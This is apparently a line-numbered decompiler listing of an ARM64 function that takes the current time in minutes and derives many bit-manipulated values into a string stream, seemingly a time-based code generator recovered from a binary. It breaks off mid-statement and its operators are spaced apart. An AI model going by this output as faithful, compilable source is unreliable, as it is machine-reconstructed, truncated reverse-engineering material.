\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 | __int64 __fastcall sub_65794(__int64 a1, int a2) { unsigned int v3; / / w27 int8x8_t v4; / / d8 unsigned __int64 v5; / / d0 int v6; / / w24 unsigned int v7; / / w8 unsigned int v8; / / w20 unsigned int v9; / / w23 unsigned int v10; / / w8 unsigned int v11; / / w19 unsigned int v12; / / w21 unsigned int v13; / / w22 unsigned int v14; / / w8 unsigned int v15; / / w9 unsigned int v16; / / w28 int v17; / / w8 __int64 v18; / / x1 unsigned int v19; / / w22 unsigned int v20; / / w8 unsigned int v21; / / w8 unsigned int v22; / / w21 unsigned int v23; / / w8 unsigned int v24; / / w23 unsigned int v25; / / w8 unsigned int v26; / / w8 int32x2_t v27; / / d0 int v28; / / w26 unsigned int v29; / / w9 int v30; / / w8 __int64 v31; / / x1 unsigned int v32; / / w8 unsigned int v33; / / w8 unsigned int v34; / / w23 unsigned int v35; / / w8 unsigned int v36; / / w9 unsigned int v37; / / w24 unsigned int v38; / / w8 __int64 v39; / / x1 unsigned __int32 v40; / / w8 unsigned int v41; / / w25 unsigned int v42; / / w19 int v43; / / w26 unsigned int v44; / / w8 unsigned int v45; / / w10 bool v46; / / cc unsigned int v47; / / w9 unsigned int v48; / / w9 char v49; / / w8 char v50; / / w8 int v51; / / w21 unsigned int v52; / / w8 unsigned int v53; / / w10 unsigned int v54; / / w9 unsigned int v55; / / w23 unsigned int v56; / / w8 unsigned int v57; / / w8 unsigned int v58; / / w9 unsigned int v59; / / w8 int v60; / / w9 __int64 v61; / / kr00_8 unsigned int v62; / / w8 __int64 v63; / / x1 int v64; / / w28 unsigned int v65; / / w8 unsigned int v66; / / w8 unsigned int v67; / / w24 __int64 v68; / / x1 char v69; / / w8 unsigned int v70; / / w9 unsigned int v71; / / w9 unsigned int v72; / / w8 int v73; / / w9 __int64 v74; / / kr08_8 unsigned int v75; / / w8 __int64 v76; / / x1 unsigned int v77; / / w8 unsigned int v78; / / w8 unsigned int v79; / / w8 unsigned int v80; / / w20 int8x8_t v81; / / d0 unsigned __int32 v82; / / w8 uint32x4_t v83; / / q0 uint32x4_t v84; / / q0 int8x16_t v85; / / q1 int v86; / / w28 unsigned int v87; / / w8 unsigned int v88; / / w10 unsigned int v89; / / w9 unsigned __int32 v90; / / w8 unsigned int v91; / / w8 unsigned int v92; / / w8 int v93; / / w12 int v94; / / w20 int v95; / / w23 int v96; / / w24 unsigned int v97; / / w8 unsigned int v98; / / w9 unsigned int v99; / / w10 unsigned int v100; / / w8 unsigned int v101; / / w10 unsigned int v102; / / w9 unsigned int v103; / / w8 unsigned int v104; / / w10 unsigned int v105; / / w9 unsigned int v106; / / w8 unsigned int v107; / / w9 unsigned int v108; / / w8 char v109; / / w9 __int64 v110; / / kr10_8 __int64 v111; / / x1 unsigned int v112; / / w8 unsigned int v113; / / w8 unsigned int v114; / / w10 unsigned int v115; / / w9 unsigned int v116; / / w8 int v117; / / w22 unsigned int v118; / / w19 __int64 v119; / / x1 __int64 v120; / / x1 unsigned int v121; / / w8 unsigned int v122; / / w9 unsigned int v123; / / w8 char v124; / / w9 __int64 v125; / / kr18_8 __int64 v126; / / x1 unsigned int v128; / / [xsp + 8h ] [xbp - 208h ] unsigned int v129; / / [xsp + 10h ] [xbp - 200h ] unsigned int v130; / / [xsp + 14h ] [xbp - 1FCh ] unsigned int v131; / / [xsp + 18h ] [xbp - 1F8h ] int v132; / / [xsp + 1Ch ] [xbp - 1F4h ] int v133; / / [xsp + 20h ] [xbp - 1F0h ] int v134; / / [xsp + 24h ] [xbp - 1ECh ] int v135; / / [xsp + 28h ] [xbp - 1E8h ] unsigned int v136; / / [xsp + 2Ch ] [xbp - 1E4h ] unsigned int v137; / / [xsp + 2Ch ] [xbp - 1E4h ] unsigned int v138; / / [xsp + 30h ] [xbp - 1E0h ] unsigned int v139; / / [xsp + 34h ] [xbp - 1DCh ] int v140; / / [xsp + 38h ] [xbp - 1D8h ] int v141; / / [xsp + 38h ] [xbp - 1D8h ] unsigned int v142; / / [xsp + 3Ch ] [xbp - 1D4h ] int v143; / / [xsp + 3Ch ] [xbp - 1D4h ] unsigned int v144; / / [xsp + 40h ] [xbp - 1D0h ] int v145; / / [xsp + 40h ] [xbp - 1D0h ] unsigned int v146; / / [xsp + 44h ] [xbp - 1CCh ] int v147; / / [xsp + 44h ] [xbp - 1CCh ] unsigned int v148; / / [xsp + 48h ] [xbp - 1C8h ] unsigned __int32 v149; / / [xsp + 4Ch ] [xbp - 1C4h ] unsigned int v150; / / [xsp + 50h ] [xbp - 1C0h ] int v151; / / [xsp + 64h ] [xbp - 1ACh ] unsigned int v152; / / [xsp + 64h ] [xbp - 1ACh ] unsigned int v153; / / [xsp + 68h ] [xbp - 1A8h ] unsigned int v154; / / [xsp + 6Ch ] [xbp - 1A4h ] int v155; / / [xsp + 88h ] [xbp - 188h ] unsigned int v156; / / [xsp + 88h ] [xbp - 188h ] unsigned int v157; / / [xsp + 8Ch ] [xbp - 184h ] unsigned int v158; / / [xsp + 8Ch ] [xbp - 184h ] __int64 v159; / / [xsp + 98h ] [xbp - 178h ] int v160; / / [xsp + 98h ] [xbp - 178h ] int v161; / / [xsp + A0h] [xbp - 170h ] int v162; / / [xsp + A8h] [xbp - 168h ] unsigned int v163; / / [xsp + B0h] [xbp - 160h ] unsigned int v164; / / [xsp + B4h] [xbp - 15Ch ] unsigned int v165; / / [xsp + B8h] [xbp - 158h ] unsigned int v166; / / [xsp + BCh] [xbp - 154h ] unsigned int v167; / / [xsp + BCh] [xbp - 154h ] int8x8_t v168; / / [xsp + C0h] [xbp - 150h ] unsigned int v169; / / [xsp + C0h] [xbp - 150h ] unsigned int v170; / / [xsp + D8h] [xbp - 138h ] unsigned int v171; / / [xsp + DCh] [xbp - 134h ] time_t timer; / / [xsp + E0h] [xbp - 130h ] BYREF __int64 (__fastcall * * v173)(); / / [xsp + E8h] [xbp - 128h ] BYREF _QWORD v174[ 8 ]; / / [xsp + F0h] [xbp - 120h ] BYREF __int128 v175; / / [xsp + 130h ] [xbp - E0h] __int128 v176; / / [xsp + 140h ] [xbp - D0h] int v177; / / [xsp + 150h ] [xbp - C0h] _QWORD v178[ 18 ]; / / [xsp + 158h ] [xbp - B8h] BYREF int v179; / / [xsp + 1E8h ] [xbp - 28h ] __int64 v180; / / [xsp + 1F0h ] [xbp - 20h ] v180 = * (_QWORD * )(_ReadStatusReg(ARM64_SYSREG( 3 , 3 , 13 , 0 , 2 )) + 40 ); time(&timer); v178[ 0 ] = off_D9C20; timer = (timer + a2) / 60 ; v173 = off_D9BF8; std::ios_base::init((std::ios_base * )v178, v174); v178[ 17 ] = 0LL ; v179 = - 1 ; v173 = off_D9B88; v178[ 0 ] = off_D9BB0; std::streambuf::basic_streambuf(v174); v3 = timer; v4.n64_u64[ 0 ] = vdup_n_s32(timer).n64_u64[ 0 ]; v5 = vshl_u32(v4, (uint32x2_t) - 2LL ).n64_u64[ 0 ]; v6 = HIDWORD(v5); v168.n64_u64[ 0 ] = v5; v140 = HIDWORD(v5) & 0x55555555 ; v7 = (((unsigned int )(timer - v140) >> 2 ) & 0x33333333 ) + ((timer - v140) & 0x33333333 ); v175 = 0u ; v176 = 0u ; v166 = (v7 + (v7 >> 4 )) & 0xF0F0F0F ; v177 = 16 ; v174[ 0 ] = off_D9C40; v146 = (v166 + (v166 >> 8 ) + ((v166 + (v166 >> 8 )) >> 16 )) & 0x3F ; std::ostream::operator<<(&v173, v146); v8 = v3 + (v3 >> 31 ); v9 = (v8 >> 1 ) + (v8 >> 3 ); v10 = v9 + (v9 >> 4 ) + ((v9 + (v9 >> 4 )) >> 8 ); v136 = v10 + HIWORD(v10); v154 = (v136 >> 3 ) + ((v8 - 12 * (v136 >> 3 ) + 4 ) >> 4 ); std::ostream::operator<<(&v173, v154); v150 = v3 >> 3 ; v11 = v6 + v168.n64_u32[ 0 ]; v12 = (v11 + v150 + ((v11 + v150) >> 6 ) + ((v11 + v150 + ((v11 + v150) >> 6 )) >> 12 ) + ((v11 + v150 + ((v11 + v150) >> 6 )) >> 24 )) >> 3 ; v13 = v3 - 9 * v12; if ( v13 < = 8 ) v14 = (v11 + v150 + ((v11 + v150) >> 6 ) + ((v11 + v150 + ((v11 + v150) >> 6 )) >> 12 ) + ((v11 + v150 + ((v11 + v150) >> 6 )) >> 24 )) >> 3 ; else v14 = v12 + 1 ; v144 = v14 + 1 ; std::ostream::operator<<(&v173, v14 + 1 ); v142 = v12 + ((v13 + 7 ) >> 4 ); std::ostream::operator<<(&v173, v142); v15 = HIWORD(v3); if ( v3 ) { v16 = HIWORD(v3); if ( (_WORD)v3 ) { v15 = v3; v17 = 1 ; } else { v17 = 17 ; } if ( !(_BYTE)v15 ) { v15 >> = 8 ; v17 | = 8u ; } if ( (v15 & 0xF ) = = 0 ) { v15 >> = 4 ; v17 | = 4u ; } if ( (v15 & 3 ) = = 0 ) { LOBYTE(v15) = v15 >> 2 ; v17 | = 2u ; } v18 = v17 - (v15 & 1 ); } else { v16 = 0 ; v18 = 32LL ; } std::ostream::operator<<(&v173, v18); v19 = v3 + 3 ; v157 = v3 >> 4 ; v20 = v6 + (v3 >> 4 ) + ((v6 + (v3 >> 4 )) >> 4 ) + ((v6 + (v3 >> 4 )) >> 5 ); v21 = (v20 + (v20 >> 12 ) + HIBYTE(v20)) >> 3 ; v22 = v21 + ((v3 + 3 - 13 * v21) >> 4 ); std::ostream::operator<<(&v173, v22); v23 = (v8 >> 6 ) - (v8 >> 10 ) + (v8 >> 12 ) + (v8 >> 13 ) - HIWORD(v8) + v9; v24 = ((v23 + (v23 >> 20 )) >> 6 ) + ((v8 - 100 * ((v23 + (v23 >> 20 )) >> 6 ) + 28 ) >> 7 ); std::ostream::operator<<(&v173, v24); v25 = v6 | v3 | ((v6 | v3) >> 2 ) | ((v6 | v3 | ((v6 | v3) >> 2 )) >> 4 ); v26 = v25 | (v25 >> 8 ) | ((v25 | (v25 >> 8 )) >> 16 ); v153 = v26 - (v26 >> 1 ); std::ostream::operator<<(&v173, v153); v27.n64_u64[ 0 ] = vand_s8(v168, (int8x8_t) 0x5B6DB6DB09249249LL ).n64_u64[ 0 ]; v27.n64_u32[ 0 ] = vadd_s32(vdup_lane_s32(v27, 1 ), v27).n64_u32[ 0 ]; v170 = ((v3 - v27.n64_u32[ 0 ] + ((v3 - v27.n64_u32[ 0 ]) >> 3 )) & 0xC71C71C7 ) % 0x3F ; std::ostream::operator<<(&v173, v170); v151 = v6; if ( v3 ) { v28 = (unsigned __int16)v3; if ( (_WORD)v3 ) v29 = v3; else v29 = v16; if ( (_WORD)v3 ) v30 = 1 ; else v30 = 17 ; if ( !(_BYTE)v29 ) { v29 >> = 8 ; v30 | = 8u ; } if ( (v29 & 0xF ) = = 0 ) { v29 >> = 4 ; v30 | = 4u ; } if ( (v29 & 3 ) = = 0 ) { LOBYTE(v29) = v29 >> 2 ; v30 | = 2u ; } v31 = v30 - (v29 & 1 ); } else { v16 = 0 ; v28 = 0 ; v31 = 32LL ; } std::ostream::operator<<(&v173, v31); v32 = v11 - (v3 >> 5 ) + (v3 >> 7 ) + ((v11 - (v3 >> 5 ) + (v3 >> 7 )) >> 10 ); v131 = ((v32 + (v32 >> 20 )) >> 3 ) + ((v3 - 11 * ((v32 + (v32 >> 20 )) >> 3 ) + 5 ) >> 4 ); std::ostream::operator<<(&v173, v131); v155 = v28; v139 = 21845 * v16 + (( int )v3 >> 31 ) + (( 21846 * v16 + ((unsigned int )( 21846 * v28) >> 16 )) >> 16 ) + (( 21845 * v28 + (unsigned int )(unsigned __int16)( 21846 * v16 + ((unsigned int )( 21846 * v28) >> 16 ))) >> 16 ); std::ostream::operator<<(&v173, v139); std::ostream::operator<<(&v173, v24); std::ostream::operator<<(&v173, v22); v159 = (unsigned __int8)v16; v132 = byte_429F0[BYTE1(v3)]; v133 = byte_429F0[(unsigned __int8)v16]; v134 = byte_429F0[(unsigned __int8)v3]; v135 = byte_429F0[HIBYTE(v3)]; std::ostream::operator<<(&v173, (unsigned int )(v132 + v134 + v133 + v135)); v163 = - v3 & v3; v171 = v163 + v3; v164 = ((v163 + v3) ^ v3) >> 1 ; v165 = v171 ^ v3; v33 = ((((v171 ^ v3) - (v164 & 0x55555555 )) >> 2 ) & 0x33333333 ) + (((v171 ^ v3) - (v164 & 0x55555555 )) & 0x33333333 ); v34 = (v163 + v3) | ~( - 1 << ((( 16843009 * ((v33 + (v33 >> 4 )) & 0xF0F0F0F )) >> 24 ) - 2 )); std::ostream::operator<<(&v173, v34); v35 = v11 + (v11 >> 4 ) + ((v11 + (v11 >> 4 )) >> 8 ); v36 = (v35 + HIWORD(v35)) >> 2 ; v37 = v3 - 5 * v36; v130 = v36; if ( v37 < = 4 ) v38 = (v35 + HIWORD(v35)) >> 2 ; else v38 = v36 + 1 ; if ( v37 < = 9 ) v39 = v38; else v39 = v38 + 1 ; v148 = v39; std::ostream::operator<<(&v173, v39); v40 = v168.n64_u32[ 0 ] + v157 + ((v168.n64_u32[ 0 ] + v157) >> 4 ) + ((v168.n64_u32[ 0 ] + v157 + ((v168.n64_u32[ 0 ] + v157) >> 4 )) >> 8 ); v129 = v40 + HIWORD(v40) + (( 11 * ( - 3 * (v40 + HIWORD(v40)) + v3)) >> 5 ); std::ostream::operator<<(&v173, v129); std::ostream::operator<<(&v173, v34); std::ostream::operator<<(&v173, v170); v41 = v3 + 2 ; v42 = v3 + 1 ; v43 = (v3 + 2 ) & ~v3; v44 = 0x80000000 ; while ( 1 ) { if ( (v44 & v43) = = 0 ) { if ( (v44 & ( - 3 - v3) & v3) ! = 0 ) { v47 = (v44 | v41) & - v44; if ( v47 < = v19 ) goto LABEL_44; } goto LABEL_39; } v45 = (v44 | v3) & - v44; if ( v45 < = v42 ) break ; LABEL_39: v46 = v44 > 1 ; v44 >> = 1 ; if ( !v46 ) { v47 = v3 + 2 ; LABEL_44: v45 = v3; goto LABEL_46; } } v47 = v3 + 2 ; LABEL_46: std::ostream::operator<<(&v173, v45 | v47); v128 = v16; if ( v3 ) { if ( v155 ) v48 = v3; else v48 = v16; if ( v155 ) v49 = 1 ; else v49 = 17 ; if ( !(_BYTE)v48 ) { v48 >> = 8 ; v49 | = 8u ; } if ( (v48 & 0xF ) = = 0 ) { v48 >> = 4 ; v49 | = 4u ; } if ( (v48 & 3 ) = = 0 ) { LOBYTE(v48) = v48 >> 2 ; v49 | = 2u ; } v50 = v49 - (v48 & 1 ) + 2 ; } else { v50 = 34 ; } std::ostream::operator<<(&v173, (v165 >> v50) | v171); std::ostream::operator<<(&v173, v131); v51 = ~(v41 | v3); v52 = 0x80000000 ; while ( 2 ) { if ( (v52 & v51) = = 0 ) { LABEL_62: v46 = v52 > 1 ; v52 >> = 1 ; if ( !v46 ) { v54 = v3 + 2 ; LABEL_67: v53 = v3; goto LABEL_69; } continue ; } break ; } v53 = (v52 | v3) & - v52; if ( v53 > v42 ) { v54 = (v52 | v41) & - v52; if ( v54 < = v19 ) goto LABEL_67; goto LABEL_62; } v54 = v3 + 2 ; LABEL_69: std::ostream::operator<<(&v173, v53 & v54); v55 = (v136 >> 2 ) + ((v8 - 6 * (v136 >> 2 ) + 2 ) >> 3 ); std::ostream::operator<<(&v173, v55); v137 = v130 + (( 7 * v37) >> 5 ); std::ostream::operator<<(&v173, v137); std::ostream::operator<<(&v173, v170); std::ostream::operator<<(&v173, v129); v167 = ( 16843009 * v166) >> 24 ; std::ostream::operator<<(&v173, v167); v56 = (v8 >> 3 ) + (v8 >> 5 ) + (((v8 >> 3 ) + (v8 >> 5 )) >> 4 ); v57 = v56 + (v56 >> 8 ) + ((v56 + (v56 >> 8 )) >> 16 ); v138 = v57 + (( 11 * (v8 - 6 * v57)) >> 6 ); std::ostream::operator<<(&v173, v138); std::ostream::operator<<(&v173, v55); if ( v3 ) { if ( v3 > = 0x10000 ) v58 = v3; else v58 = v3 << 16 ; if ( HIBYTE(v58) ) v59 = v58; else v59 = v58 << 8 ; if ( HIBYTE(v58) ) v60 = 16 * (v3 < 0x10000 ); else v60 = ( 16 * (v3 < 0x10000 )) | 8 ; if ( !(v59 >> 28 ) ) { v59 * = 16 ; v60 | = 4u ; } v61 = 4LL * v59; if ( is_mul_ok( 4u , v59) ) v59 * = 4 ; v62 = ~v59; if ( !HIDWORD(v61) ) v60 | = 2u ; v63 = v60 + (v62 >> 31 ); } else { v63 = 32LL ; } v64 = v155; std::ostream::operator<<(&v173, v63); v65 = (((v140 + (v3 & 0x55555555 )) >> 2 ) & 0x33333333 ) + ((v140 + (v3 & 0x55555555 )) & 0x33333333 ); v66 = (((((v65 >> 4 ) & 0x7070707 ) + (v65 & 0x7070707 )) >> 8 ) & 0xF000F ) + ((((v65 >> 4 ) & 0x7070707 ) + (v65 & 0x7070707 )) & 0xF000F ); v156 = (v66 & 0x1F ) + HIWORD(v66); std::ostream::operator<<(&v173, v156); v67 = __rbit32(v3); std::ostream::operator<<(&v173, v67); std::ostream::operator<<(&v173, (unsigned int )(v132 + v134 + v133 + v135)); if ( v3 ) { if ( v64 ) v69 = 1 ; else v69 = 17 ; if ( v64 ) v70 = v3; else v70 = v128; if ( !(_BYTE)v70 ) { v70 >> = 8 ; v69 | = 8u ; } if ( (v70 & 0xF ) = = 0 ) { v70 >> = 4 ; v69 | = 4u ; } if ( (v70 & 3 ) = = 0 ) { LOBYTE(v70) = v70 >> 2 ; v69 | = 2u ; } std::ostream::operator<<(&v173, (v165 >> (v69 - (v70 & 1 ) + 2 )) | v171); std::ostream::operator<<(&v173, v167); if ( v3 > = 0x10000 ) v71 = v3; else v71 = v3 << 16 ; if ( HIBYTE(v71) ) v72 = v71; else v72 = v71 << 8 ; if ( HIBYTE(v71) ) v73 = 16 * (v3 < 0x10000 ); else v73 = ( 16 * (v3 < 0x10000 )) | 8 ; if ( !(v72 >> 28 ) ) { v72 * = 16 ; v73 | = 4u ; } v74 = 4LL * v72; if ( is_mul_ok( 4u , v72) ) v72 * = 4 ; v75 = ~v72; if ( !HIDWORD(v74) ) v73 | = 2u ; v76 = v73 + (v75 >> 31 ); } else { std::ostream::operator<<(&v173, v68); std::ostream::operator<<(&v173, v167); v76 = 32LL ; } std::ostream::operator<<(&v173, v76); std::ostream::operator<<(&v173, v146); std::ostream::operator<<(&v173, v67); std::ostream::operator<<(&v173, v142); std::ostream::operator<<(&v173, v137); std::ostream::operator<<(&v173, v144); v77 = v150 + v157 + ((v150 + v157) >> 4 ) + ((v150 + v157 + ((v150 + v157) >> 4 )) >> 8 ); v158 = v77 + HIWORD(v77) + (( 13 * (v3 - 5 * (v77 + HIWORD(v77)))) >> 6 ); std::ostream::operator<<(&v173, v158); v78 = (v8 >> 1 ) + (v8 >> 2 ) + (((v8 >> 1 ) + (v8 >> 2 )) >> 4 ); v79 = (v78 + (v78 >> 8 ) + ((v78 + (v78 >> 8 )) >> 16 )) >> 3 ; v80 = v79 + ((v8 - 10 * v79 + 6 ) >> 4 ); std::ostream::operator<<(&v173, v80); v81.n64_u64[ 0 ] = veor_s8(v168, v4).n64_u64[ 0 ]; v82 = v81.n64_u32[ 1 ]; v83.n128_u64[ 0 ] = veor_s8(vshr_n_u32(v81, 4uLL ), v81).n64_u64[ 0 ]; v83.n128_u32[ 2 ] = v82 ^ (v82 >> 2 ); v83.n128_u32[ 3 ] = v83.n128_u32[ 2 ]; v84 = veorq_s8(vshlq_u32(v83, (uint32x4_t)xmmword_42890), v83); v85 = vandq_s8( veorq_s8(vshlq_u32(v84, (uint32x4_t)xmmword_42870), vshlq_u32(v84, (uint32x4_t)xmmword_42850)), (int8x16_t)xmmword_42910); v84.n128_u64[ 0 ] = vorr_s8((int8x8_t)v85.n128_u64[ 0 ], (int8x8_t)vextq_s8(v85, v85, 8uLL ).n128_u64[ 0 ]).n64_u64[ 0 ]; v149 = (v84.n128_u32[ 0 ] | v84.n128_u32[ 1 ] | ((v84.n128_u32[ 3 ] ^ (v84.n128_u32[ 3 ] >> 8 )) >> 12 ) & 0x10 | ( 32 * (((unsigned __int8)(v84.n128_u8[ 12 ] ^ v84.n128_u8[ 13 ]) ^ (unsigned __int8)((v84.n128_u32[ 3 ] ^ (v84.n128_u32[ 3 ] >> 8 )) >> 16 )) & 1 ))) ^ - (v3 & 1 ) & 0x3F ; std::ostream::operator<<(&v173, v149); v145 = byte_42BF0[BYTE1(v3)]; v147 = byte_42BF0[(unsigned __int8)v3]; v141 = byte_42BF0[HIBYTE(v3)]; v143 = byte_42BF0[v159]; std::ostream::operator<<(&v173, (unsigned int )(v145 + v147 + v143 + v141)); std::ostream::operator<<(&v173, v139); v86 = v19 & v42; v87 = 0x80000000 ; do { if ( (v87 & v86) ! = 0 ) { v89 = (v42 - v87) | (v87 - 1 ); if ( v89 > = v3 ) goto LABEL_124; v88 = (v19 - v87) | (v87 - 1 ); if ( v88 > = v41 ) { v89 = v3 + 1 ; goto LABEL_125; } } v46 = v87 > 1 ; v87 >> = 1 ; } while ( v46 ); v89 = v3 + 1 ; LABEL_124: v88 = v3 + 3 ; LABEL_125: std::ostream::operator<<(&v173, v88 | v89); std::ostream::operator<<(&v173, v80); v90 = v3 - ((v151 & 0x77777777 ) + (v168.n64_u32[ 0 ] & 0x33333333 ) + (v150 & 0x11111111 )); v152 = ( 16843009 * ((v90 + (v90 >> 4 )) & 0xF0F0F0F )) >> 24 ; std::ostream::operator<<(&v173, v152); v91 = (v3 - 1 ) | ((v3 - 1 ) >> 1 ) | (((v3 - 1 ) | ((v3 - 1 ) >> 1 )) >> 2 ); v92 = v91 | (v91 >> 4 ) | ((v91 | (v91 >> 4 )) >> 8 ); v169 = (v92 | HIWORD(v92)) + 1 ; std::ostream::operator<<(&v173, v169); v162 = byte_42AF0[(unsigned __int8)v3]; v93 = byte_42AF0[v159]; v161 = byte_42AF0[BYTE1(v3)]; v94 = byte_42AF0[HIBYTE(v3)]; v160 = v93; std::ostream::operator<<(&v173, (unsigned int )(v161 + v162 + v93 + v94)); v95 = ( - 4 - v3) & v42; v96 = ( - 2 - v3) & v19; v97 = 0x80000000 ; do { if ( (v97 & v95) ! = 0 ) { v98 = v42 & ~v97 | (v97 - 1 ); if ( v98 > = v3 ) goto LABEL_133; } else if ( (v97 & v96) ! = 0 ) { v99 = v19 & ~v97 | (v97 - 1 ); if ( v99 > = v41 ) { v98 = v3 + 1 ; goto LABEL_134; } } v46 = v97 > 1 ; v97 >> = 1 ; } while ( v46 ); v98 = v3 + 1 ; LABEL_133: v99 = v3 + 3 ; LABEL_134: std::ostream::operator<<(&v173, v99 & v98); v100 = 0x80000000 ; while ( 2 ) { if ( (v100 & v51) = = 0 ) { LABEL_135: v46 = v100 > 1 ; v100 >> = 1 ; if ( !v46 ) { v102 = v3 + 2 ; LABEL_140: v101 = v3; goto LABEL_142; } continue ; } break ; } v101 = (v100 | v3) & - v100; if ( v101 > v42 ) { v102 = (v100 | v41) & - v100; if ( v102 < = v19 ) goto LABEL_140; goto LABEL_135; } v102 = v3 + 2 ; LABEL_142: std::ostream::operator<<(&v173, v101 & v102); std::ostream::operator<<(&v173, v156); std::ostream::operator<<(&v173, v148); v103 = 0x80000000 ; do { if ( (v103 & v86) ! = 0 ) { v105 = (v42 - v103) | (v103 - 1 ); if ( v105 > = v3 ) goto LABEL_149; v104 = (v19 - v103) | (v103 - 1 ); if ( v104 > = v41 ) { v105 = v3 + 1 ; goto LABEL_150; } } v46 = v103 > 1 ; v103 >> = 1 ; } while ( v46 ); v105 = v3 + 1 ; LABEL_149: v104 = v3 + 3 ; LABEL_150: std::ostream::operator<<(&v173, v104 | v105); std::ostream::operator<<(&v173, v138); std::ostream::operator<<(&v173, (unsigned int )(v161 + v162 + v160 + v94)); std::ostream::operator<<(&v173, v153); std::ostream::operator<<(&v173, v167); std::ostream::operator<<(&v173, v152); v107 = - v3 & v3; v106 = (v171 ^ v3) >> 1 ; if ( v163 ) { if ( v163 < 0x10000 ) v107 = v163 << 16 ; if ( HIBYTE(v107) ) v108 = v107; else v108 = v107 << 8 ; if ( HIBYTE(v107) ) v109 = 16 * (v163 < 0x10000 ); else v109 = ( 16 * (v163 < 0x10000 )) | 8 ; if ( !(v108 >> 28 ) ) { v108 * = 16 ; v109 | = 4u ; } v110 = 4LL * v108; if ( is_mul_ok( 4u , v108) ) v108 * = 4 ; if ( !HIDWORD(v110) ) v109 | = 2u ; v106 = v165 >> (~(unsigned __int8)(( int )v108 >> 31 ) - v109 + 33 ); } std::ostream::operator<<(&v173, v106 | v171); std::ostream::operator<<(&v173, v167); std::ostream::operator<<(&v173, (unsigned int )(v145 + v147 + v143 + v141)); LODWORD(v111) = - 2 ; do { v112 = v111 + 2 ; v111 = (unsigned int )(v111 + 1 ); } while ( dword_42CF0[v112] < v3 ); std::ostream::operator<<(&v173, v111); std::ostream::operator<<(&v173, v149); v113 = 0x80000000 ; while ( 2 ) { if ( (v113 & v43) = = 0 ) { if ( (v113 & ( - 3 - v3) & v3) ! = 0 ) { v115 = (v113 | v41) & - v113; if ( v115 < = v19 ) goto LABEL_175; } LABEL_170: v46 = v113 > 1 ; v113 >> = 1 ; if ( !v46 ) { v115 = v3 + 2 ; LABEL_175: v114 = v3; goto LABEL_177; } continue ; } break ; } v114 = (v113 | v3) & - v113; if ( v114 > v42 ) goto LABEL_170; v115 = v3 + 2 ; LABEL_177: std::ostream::operator<<(&v173, v114 | v115); std::ostream::operator<<(&v173, v170); v116 = 0x80000000 ; while ( 2 ) { if ( (v116 & v95) = = 0 ) { if ( (v116 & v96) ! = 0 && (v19 & ~v116 | (v116 - 1 )) > = v41 ) { v19 = v19 & ~v116 | (v116 - 1 ); goto LABEL_186; } goto LABEL_179; } if ( (v42 & ~v116 | (v116 - 1 )) < v3 ) { LABEL_179: v46 = v116 > 1 ; v116 >> = 1 ; if ( !v46 ) goto LABEL_186; continue ; } break ; } v42 = v42 & ~v116 | (v116 - 1 ); LABEL_186: std::ostream::operator<<(&v173, v19 & v42); v117 = ((v3 & 0x7F7F7F7F ) + 2139062143 ) | v3 | 0x7F7F7F7F ; v118 = ~v117; if ( v117 = = - 1 ) { v119 = 4LL ; } else if ( 